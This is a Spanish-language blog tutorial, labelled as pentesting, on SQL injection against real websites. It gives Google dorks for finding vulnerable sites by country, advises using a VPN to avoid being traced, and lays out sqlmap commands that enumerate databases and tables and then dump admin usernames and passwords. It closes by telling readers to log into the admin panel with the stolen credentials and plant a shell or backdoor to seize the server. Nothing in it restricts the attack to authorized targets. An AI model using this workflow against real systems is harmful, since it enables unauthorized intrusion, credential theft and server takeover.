Tutoriales

Pentesting: Cómo realizar un ataque de SQL Injection

Todo lo que enseñamos aquí es con fines educativos, no nos responsabilizamos del mal uso de este tutorial.

Saludos, en esta ocasión les explicare un poco del tema de sql injection (un ataque a ciegas sin que el administrador o encargado de la web & sistema se de cuenta) vamos aprovechar esta vulnerabilidad que aun sigue vigente en un 70% de paginas en el internet.

Primero comencemos con aprender que es SQL Injection, según nuestro amigo wickipedia : Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.

Hay que destacar que en varias ocasiones nos encontraremos con bypass en los logins es otro tema que varias paginas sufren de esa vulnerabilidad.

 

¿Cómo encontrar una web o sistema vulnerable?

Para lograr encontrar una web o sistema vulnerable podemos hacerlo con ayuda de DORK’S (el cual es un metodo de google hacking que se usa de manera habitual, con ayuda del este gigante buscador y palabras claves logramos obtener una cantidad de resultados de webs vulnerables), aqui les dejo varios ejemplos de Dorks que vamos a utilizar:

inurl:”view.php?id=” site:ec  (le pongo ec por que simboliza mi pais ustedes le pueden poner del suyo ejemplo mx es de mexico, pe es de peru, cl es de chile, ar es de argentina etc..)

inurl:”cod.php?id=” site:ec

inurl:”shop.php?id=” site:ec

inurl:”perfil.php?id=” site:ec

inurl:”.php?cod=” site:ec

inurl:”categoria.php?id=” site:ar

inurl:”galeria.php?id=” site:ec

inurl:”noticias.php?id=” site:ec

 

Nota importante antes de proceder a escanear una pagina web necesitas protegerte con una buena vpn para que te esconda tu ip real, ya que te pueden hacer seguimientos y te puedes meter en problemas. vpn recomendables: Hotspotvpn, SecurityKiss, Flyvpn, Psiphon, Tor

 

A continuación copiar cualquiera de los dorks listados en el buscador como pueden observar

luego de muchos resultados tienes que ir viendo y comprobando una por una

¿Cómo saber si es vulnerable una página?

sencillo  al ginal de la direccion le colocas una comilla simple ‘ ejemplo:  http://direcciontest.com/noticia.php?id=2

al colocar la comilla hay dos opciones te puede salir este mensaje:

o no te puede salir – o se queda en blanco la pagina ( en ese caso tendremos que comprobar con las tools).

 

El siguiente paso es comenzar la injección lo tradicional seria hacerlo de manera manual +1+select+union+1,2,3–

pero no usaremos herramientas que automatiza ese proceso, vamos a usar dos potentes herramienta el conocido Sqlmap  para mi es unas de las mejores hay miles de herramientas que se pueden usar pero usaremos esta.

Para descargar Sqlmap ingresa aquí.

Vamos a comenzar con sqlmap

Nota importante: para ejecutar sqlmap debes de tener instalado python la versión 2.7 puedes descargarlo desde aquí, ya que sqlmap esta compilado con dicho lenguaje.

una vez que tienes descargado sqlmap lo siguiente que harás si estas en windows o linux sera abrir una ventana de consola ubicarte en el directorio donde tienes la carpeta de sqlmap y poner: python sqlmap.py presionas enter (windows 8, 10), sqlmap.py presionas enter (windows xp, 7) y te saldrá lo siguiente:

 

te saltara ese error por que aun no hemos comenzado a escanear como puedes observar te da las opciones que se deben de usar: ahora si  escribimos lo siguiente, usaremos las opciones -u (de url) y –dbs (databases)

python sqlmap.py -u www.paginavulnerable.com/noticia.php?id=1 –dbs 

Presionamos enter, en el transcurso del escaneo te pueden salir mensajes leerlos y por lo general dar Yes, al final del escaneo te dara el resultado de las bases de datos como se muestra a continuación:

Por ética tache el nombre de la base de datos, dado que puedo tener problemas con dicha empresa 3:)

Una vez que tenemos en nombre de la base de datos el siguiente paso es escribir el siguiente comando:

python sqlmap.py -u www.paginavulnerable.com/noticia.php?id=1 –tables -D nombredelabase 

Y damos enter

comenzara a escanear las tablas de la base de datos como resultado tendremos lo siguiente:

 

como pueden observar hemos inyectado las tablas lo que nos interesa es sacar los usuarios o administradores

en este caso tengo una tabla llamada admin

Lo siguiente que haremos sera escanear las columnas de la tabla admin con el siguiente comando:

python sqlmap.py -u www.paginavulnerable.com/noticia.php?id=1 -T nombredelatabla –columns -D nombredelabase 

y presionamos enter dará como resultado lo siguiente:

listo ya tenemos lo que queremos ahora el siguiente paso es sacar los datos de las columnas y lo vamos hacer con el siguiente comando:

python sqlmap.py -u www.paginavulnerable.com/noticia.php?id=1 -T nombredelatabla -C user,password -D nombredelabase –dump

A continuación nos revelará los datos que deseamos 3:)

Ahora el ultimo paso es encontrar la url del administrador en la pagina web ejemplo www.paginavulnerable.com/admin

www.paginavulnerable.com/login

www.paginavulnerable.com/administrador

www.paginavulnerable.com/admon

una vez encontrado ingresamos los datos que hemos obtenido durante el escaneo

y listo estamos dentro de la pagina web el siguiente paso sera ingresar una shell o backdoor y apoderarse del servidor 3:)

 

Hasta aquí el tutorial si te gustó comparte y comenta si te funcionó